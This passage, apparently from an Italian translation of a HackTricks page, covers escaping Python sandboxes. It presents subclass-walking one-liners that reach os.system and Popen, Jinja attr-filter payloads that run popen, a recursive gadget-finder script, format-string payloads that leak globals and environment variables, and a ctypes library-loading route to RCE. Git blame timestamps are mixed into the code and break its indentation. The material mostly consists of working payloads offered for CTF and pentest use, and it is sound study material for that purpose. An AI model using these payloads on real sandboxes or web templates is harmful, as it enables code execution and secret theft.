2021-06-25 13:39:46 +00:00
```python
#You can access the base from mostly anywhere (in regular conditions)
2021-10-06 00:19:16 +00:00
"".__class__.__base__.__subclasses__()
2021-06-25 13:39:46 +00:00
[].__class__.__base__.__subclasses__()
{}.__class__.__base__.__subclasses__()
().__class__.__base__.__subclasses__()
2021-10-06 00:19:16 +00:00
(1).__class__.__base__.__subclasses__()
2021-06-25 13:39:46 +00:00
bool.__class__.__base__.__subclasses__()
2021-10-06 00:19:16 +00:00
print.__class__.__base__.__subclasses__()
open.__class__.__base__.__subclasses__()
defined_func.__class__.__base__.__subclasses__()
2021-06-25 13:39:46 +00:00
#You can also access it without "__base__" or "__class__"
2022-05-01 13:41:36 +01:00
# You can apply the previous technique also here
2021-06-25 13:39:46 +00:00
"".__class__.__bases__[0].__subclasses__()
"".__class__.__mro__[1].__subclasses__()
"".__getattribute__("__class__").mro()[1].__subclasses__()
"".__getattribute__("__class__").__base__.__subclasses__()
2023-11-13 00:00:08 +01:00
# This can be useful in case it is not possible to make calls (therefore using decorators)
().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["breakpoint"]() # From https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/pyjails#no -builtins-no-mro-single-exec
2022-09-13 03:12:49 +06:00
#If attr is present you can access everything as a string
# This is common in Django (and Jinja) environments
2021-06-25 13:39:46 +00:00
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
```
2024-02-10 13:03:23 +00:00
### Trovare librerie pericolose caricate
2021-06-25 13:39:46 +00:00
2024-07-18 22:12:19 +00:00
Ad esempio, sapendo che con la libreria ** `sys` ** è possibile **importare librerie arbitrarie** , puoi cercare tutti i **moduli caricati che hanno importato sys al loro interno** :
2021-06-24 23:53:47 +00:00
```python
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
```
2024-10-01 14:36:02 +00:00
Ci sono molte, e **ne abbiamo solo bisogno di una** per eseguire comandi:
2021-06-24 23:53:47 +00:00
```python
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
```
2024-02-10 13:03:23 +00:00
Possiamo fare la stessa cosa con **altre librerie** che sappiamo possono essere utilizzate per **eseguire comandi** :
2021-06-24 23:53:47 +00:00
```python
#os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
2021-10-06 00:19:16 +00:00
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" == x.__init__.__globals__["__name__"] ][0]["system" ]("ls" )
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'os." in str(x) ][0]['system' ]('ls' )
#subprocess
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "subprocess" == x.__init__.__globals__["__name__"] ][0]["Popen" ]("ls" )
[ x for x in ''.__class__.__base__.__subclasses__() if "'subprocess." in str(x) ][0]['Popen' ]('ls' )
[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__ == 'Popen' ][0 ]('ls' )
#builtins
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "__bultins__" in x.__init__.__globals__ ]
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__("os").system("ls")
#sys
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls")
2021-06-24 23:53:47 +00:00
#commands (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls")
2021-10-06 00:19:16 +00:00
2021-06-24 23:53:47 +00:00
#pty (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls")
2021-10-06 00:19:16 +00:00
2021-06-24 23:53:47 +00:00
#importlib
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")
2021-10-06 00:19:16 +00:00
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls")
#pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
2021-06-24 23:53:47 +00:00
```
2024-07-18 22:12:19 +00:00
Inoltre, potremmo anche cercare quali moduli stanno caricando librerie dannose:
2021-06-24 23:53:47 +00:00
```python
2021-10-06 00:19:16 +00:00
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
2021-06-24 23:53:47 +00:00
for b in bad_libraries_names:
2024-02-10 13:03:23 +00:00
vuln_libs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and b in x.__init__.__globals__ ]
print(f"{b}: {', '.join(vuln_libs)}")
2021-06-24 23:53:47 +00:00
"""
os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations
2024-02-10 13:03:23 +00:00
commands:
2021-06-24 23:53:47 +00:00
subprocess: BaseDependency, Origin, Version, Package
2024-02-10 13:03:23 +00:00
pty:
2021-06-24 23:53:47 +00:00
importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path
2024-02-10 13:03:23 +00:00
imp:
2021-06-24 23:53:47 +00:00
sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature
2021-10-06 00:19:16 +00:00
pdb:
2021-06-24 23:53:47 +00:00
"""
```
2024-07-18 22:12:19 +00:00
Inoltre, se pensi che **altre librerie** possano **invocare funzioni per eseguire comandi** , possiamo anche **filtrare per nomi di funzioni** all'interno delle possibili librerie:
2021-06-24 23:53:47 +00:00
```python
2021-10-06 00:19:16 +00:00
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
2021-06-25 13:52:40 +00:00
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
2021-06-24 23:53:47 +00:00
for b in bad_libraries_names + bad_func_names:
2024-02-10 13:03:23 +00:00
vuln_funcs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) for k in x.__init__.__globals__ if k == b ]
print(f"{b}: {', '.join(vuln_funcs)}")
2021-06-24 23:53:47 +00:00
"""
os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations
2024-02-10 13:03:23 +00:00
commands:
2021-06-24 23:53:47 +00:00
subprocess: BaseDependency, Origin, Version, Package
2024-02-10 13:03:23 +00:00
pty:
2021-06-24 23:53:47 +00:00
importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path
2024-02-10 13:03:23 +00:00
imp:
2021-06-24 23:53:47 +00:00
sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature
2021-10-06 00:19:16 +00:00
pip:
pdb:
2021-06-24 23:53:47 +00:00
system: _wrap_close, _wrap_close
getstatusoutput: CompletedProcess, Popen
getoutput: CompletedProcess, Popen
call: CompletedProcess, Popen
Popen: CompletedProcess, Popen
2024-02-10 13:03:23 +00:00
spawn:
import_module:
2021-06-24 23:53:47 +00:00
__import__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec
load_source: NullImporter, _HackedGetData
2024-02-10 13:03:23 +00:00
execfile:
execute:
2021-06-24 23:53:47 +00:00
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPReq
2024-07-18 22:12:19 +00:00
"""
2021-06-24 23:53:47 +00:00
```
2024-03-09 13:16:23 +00:00
## Ricerca Ricorsiva di Builtins, Globals...
2021-10-06 00:19:16 +00:00
{% hint style="warning" %}
2024-10-01 14:36:02 +00:00
Questo è semplicemente **fantastico** . Se stai **cercando un oggetto come globals, builtins, open o qualsiasi altra cosa** , usa questo script per **trovare ricorsivamente i luoghi in cui puoi trovare quell'oggetto.**
2021-10-06 00:19:16 +00:00
{% endhint %}
```python
2021-10-06 10:13:49 +00:00
import os, sys # Import these to find more gadgets
2021-10-06 09:54:56 +00:00
2021-10-06 00:19:16 +00:00
SEARCH_FOR = {
2024-02-10 13:03:23 +00:00
# Misc
"__globals__": set(),
"builtins": set(),
"__builtins__": set(),
"open": set(),
# RCE libs
"os": set(),
"subprocess": set(),
"commands": set(),
"pty": set(),
"importlib": set(),
"imp": set(),
"sys": set(),
"pip": set(),
"pdb": set(),
# RCE methods
"system": set(),
"popen": set(),
"getstatusoutput": set(),
"getoutput": set(),
"call": set(),
"Popen": set(),
"popen": set(),
"spawn": set(),
"import_module": set(),
"__import__": set(),
"load_source": set(),
"execfile": set(),
"execute": set()
2021-10-06 00:19:16 +00:00
}
2022-09-13 03:12:49 +06:00
#More than 4 is very time consuming
2021-10-06 00:19:16 +00:00
MAX_CONT = 4
2022-09-13 03:12:49 +06:00
#The ALREADY_CHECKED makes the script run much faster, but some solutions won't be found
2021-10-06 00:19:16 +00:00
#ALREADY_CHECKED = set()
def check_recursive(element, cont, name, orig_n, orig_i, execute):
2024-02-10 13:03:23 +00:00
# If bigger than maximum, stop
if cont > MAX_CONT:
return
# If already checked, stop
#if name and name in ALREADY_CHECKED:
# return
# Add to already checked
#if name:
# ALREADY_CHECKED.add(name)
# If found add to the dict
for k in SEARCH_FOR:
if k in dir(element) or (type(element) is dict and k in element):
SEARCH_FOR[k].add(f"{orig_i}: {orig_n}.{name}")
# Continue with the recursivity
for new_element in dir(element):
try:
check_recursive(getattr(element, new_element), cont+1, f"{name}.{new_element}", orig_n, orig_i, execute)
# WARNING: Calling random functions sometimes kills the script
# Comment this part if you notice that behaviour!!
if execute:
try:
if callable(getattr(element, new_element)):
check_recursive(getattr(element, new_element)(), cont+1, f"{name}.{new_element}()", orig_i, execute)
except:
pass
except:
pass
# If in a dict, scan also each key, very important
if type(element) is dict:
for new_element in element:
check_recursive(element[new_element], cont+1, f"{name}[{new_element}]", orig_n, orig_i)
2021-10-06 00:19:16 +00:00
def main():
2024-02-10 13:03:23 +00:00
print("Checking from empty string...")
total = [""]
for i,element in enumerate(total):
print(f"\rStatus: {i}/{len(total)}", end="")
cont = 1
check_recursive(element, cont, "", str(element), f"Empty str {i}", True)
print()
print("Checking loaded subclasses...")
total = "".__class__.__base__.__subclasses__()
for i,element in enumerate(total):
print(f"\rStatus: {i}/{len(total)}", end="")
cont = 1
check_recursive(element, cont, "", str(element), f"Subclass {i}", True)
print()
print("Checking from global functions...")
total = [print, check_recursive]
for i,element in enumerate(total):
print(f"\rStatus: {i}/{len(total)}", end="")
cont = 1
check_recursive(element, cont, "", str(element), f"Global func {i}", False)
print()
print(SEARCH_FOR)
2021-10-06 00:19:16 +00:00
if __name__ == "__main__":
2024-02-10 13:03:23 +00:00
main()
2021-10-06 00:19:16 +00:00
```
2024-09-04 13:32:48 +00:00
Puoi controllare l'output di questo script su questa pagina:
2021-10-06 10:13:49 +00:00
2024-05-05 22:09:41 +00:00
{% content-ref url="https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md" %}
[https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md ](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md )
2021-10-18 11:21:18 +00:00
{% endcontent-ref %}
2021-10-06 10:13:49 +00:00
2024-10-01 14:36:02 +00:00
## Stringa di Formato Python
2021-10-06 00:19:16 +00:00
2024-07-18 22:12:19 +00:00
Se **invi** una **stringa** a python che verrà **formattata** , puoi usare `{}` per accedere a **informazioni interne di python.** Puoi usare gli esempi precedenti per accedere a globals o builtins, ad esempio.
2021-10-06 09:50:35 +00:00
```python
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
CONFIG = {
2024-02-10 13:03:23 +00:00
"KEY": "ASXFYFGK78989"
2021-10-06 09:50:35 +00:00
}
class PeopleInfo:
2024-02-10 13:03:23 +00:00
def __init__ (self, fname, lname):
self.fname = fname
self.lname = lname
2021-10-06 09:50:35 +00:00
def get_name_for_avatar(avatar_str, people_obj):
2024-02-10 13:03:23 +00:00
return avatar_str.format(people_obj = people_obj)
2021-10-06 09:50:35 +00:00
people = PeopleInfo('GEEKS', 'FORGEEKS')
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people)
```
2024-07-18 22:12:19 +00:00
Nota come puoi **accedere agli attributi** in modo normale con un **punto** come `people_obj.__init__` e **elemento dict** con **parentesi** senza virgolette `__globals__[CONFIG]`
2021-10-06 09:50:35 +00:00
2024-07-18 22:12:19 +00:00
Nota anche che puoi usare `.__dict__` per enumerare gli elementi di un oggetto `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
2021-10-06 12:43:31 +00:00
2024-10-01 14:36:02 +00:00
Alcune altre caratteristiche interessanti delle stringhe di formato sono la possibilità di **eseguire** le **funzioni** ** `str` **, ** `repr` ** e ** `ascii` ** nell'oggetto indicato aggiungendo ** `!s` **, ** `!r` **, ** `!a` ** rispettivamente:
2021-10-06 12:43:31 +00:00
```python
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people)
```
2024-03-09 13:16:23 +00:00
Inoltre, è possibile **codificare nuovi formattatori** nelle classi:
2021-10-06 12:43:31 +00:00
```python
class HAL9000(object):
2024-02-10 13:03:23 +00:00
def __format__ (self, format):
if (format == 'open-the-pod-bay-doors'):
return "I'm afraid I can't do that."
return 'HAL 9000'
2021-10-06 12:43:31 +00:00
'{:open-the-pod-bay-doors}'.format(HAL9000())
#I'm afraid I can't do that.
```
2024-07-18 22:12:19 +00:00
**Ulteriori esempi** sugli **esempi** di **stringa** **formattata** possono essere trovati in [**https://pyformat.info/** ](https://pyformat.info )
2021-10-06 12:43:31 +00:00
2023-06-06 22:57:49 +00:00
{% hint style="danger" %}
2024-07-18 22:12:19 +00:00
Controlla anche la seguente pagina per gadget che r**ead sensitive information from Python internal objects**:
2023-06-06 22:57:49 +00:00
{% endhint %}
{% content-ref url="../python-internal-read-gadgets.md" %}
[python-internal-read-gadgets.md ](../python-internal-read-gadgets.md )
{% endcontent-ref %}
2024-07-18 22:12:19 +00:00
### Payload per la divulgazione di informazioni sensibili
2021-10-06 09:50:35 +00:00
```python
{whoami.__class__.__dict__}
{whoami.__globals__[os].__dict__}
{whoami.__globals__[os].environ}
{whoami.__globals__[sys].path}
{whoami.__globals__[sys].modules}
# Access an element through several links
{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}
2024-10-01 14:36:02 +00:00
# Example from https://corgi.rip/posts/buckeye-writeups/
secret_variable = "clueless"
x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol')
str(x) # Out: clueless
2021-10-06 09:50:35 +00:00
```
2024-10-01 14:36:02 +00:00
### Dalla formattazione al caricamento RCE delle librerie
Secondo il [**TypeMonkey chall di questo writeup** ](https://corgi.rip/posts/buckeye-writeups/ ), è possibile caricare librerie arbitrarie dal disco abusando della vulnerabilità della stringa di formato in python.
Come promemoria, ogni volta che viene eseguita un'azione in python, viene eseguita una funzione. Ad esempio, `2*3` eseguirà ** `(2).mul(3)` ** o ** `{'a':'b'}['a']` ** sarà ** `{'a':'b'}.__getitem__('a')` **.
Hai più esempi simili nella sezione [**Esecuzione Python senza chiamate** ](./#python-execution-without-calls ).
Una vulnerabilità della stringa di formato python non consente di eseguire funzioni (non consente di utilizzare le parentesi), quindi non è possibile ottenere RCE come `'{0.system("/bin/sh")}'.format(os)` .\
Tuttavia, è possibile utilizzare `[]` . Pertanto, se una libreria python comune ha un metodo ** `__getitem__` ** o ** `__getattr__` ** che esegue codice arbitrario, è possibile abusarne per ottenere RCE.
Cercando un gadget del genere in python, il writeup propone questa [**query di ricerca su Github** ](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28\_\_getitem\_\_%7C\_\_getattr\_\_%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F\&type=code ). Dove ha trovato questo [uno ](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/\_\_init\_\_.py#L463 ):
```python
class LibraryLoader(object):
def __init__ (self, dlltype):
self._dlltype = dlltype
def __getattr__ (self, name):
if name[0] == '_':
raise AttributeError(name)
try:
dll = self._dlltype(name)
except OSError:
raise AttributeError(name)
setattr(self, name, dll)
return dll
def __getitem__ (self, name):
return getattr(self, name)
cdll = LibraryLoader(CDLL)
pydll = LibraryLoader(PyDLL)
```
Questo gadget consente di **caricare una libreria dal disco** . Pertanto, è necessario in qualche modo **scrivere o caricare la libreria da caricare** correttamente compilata sul server attaccato.
```python
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
```
La sfida sfrutta in realtà un'altra vulnerabilità nel server che consente di creare file arbitrari nel disco dei server.
## Dissezionare gli Oggetti Python
2021-10-06 00:19:16 +00:00
2021-10-06 14:43:31 +00:00
{% hint style="info" %}
2024-10-01 14:36:02 +00:00
Se vuoi **imparare** a conoscere **il bytecode di python** in profondità, leggi questo **fantastico** post sull'argomento: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d** ](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d )
2021-10-06 14:43:31 +00:00
{% endhint %}
2020-07-15 15:43:14 +00:00
